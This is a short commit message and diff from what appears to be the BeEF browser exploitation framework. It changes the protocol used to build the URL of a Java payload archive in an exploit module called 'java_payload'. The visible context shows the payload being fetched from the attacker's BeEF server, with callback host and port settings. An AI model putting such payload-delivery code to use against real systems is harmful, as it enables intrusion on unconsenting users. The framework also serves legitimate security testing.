Update BeEF server protocol for multiple modules to use

`beef.http.https.enable`

Now uses the `beef.net.httpproto` value rather than a hard-coded
protocol string.

Part of issue #745

modules/exploits/local_host/java_payload/command.js

@@ -9,7 +9,7 @@ beef.execute(function() {
     var conn = '<%= @conn %>';
     var cbHost = '<%= @cbHost %>';
     var cbPort = '<%= @cbPort %>';
-    var applet_archive = 'http://'+beef.net.host+ ':' + beef.net.port + '/anti.jar';
+    var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/anti.jar';
     var applet_id = '<%= @applet_id %>';
     var applet_name = '<%= @applet_name %>';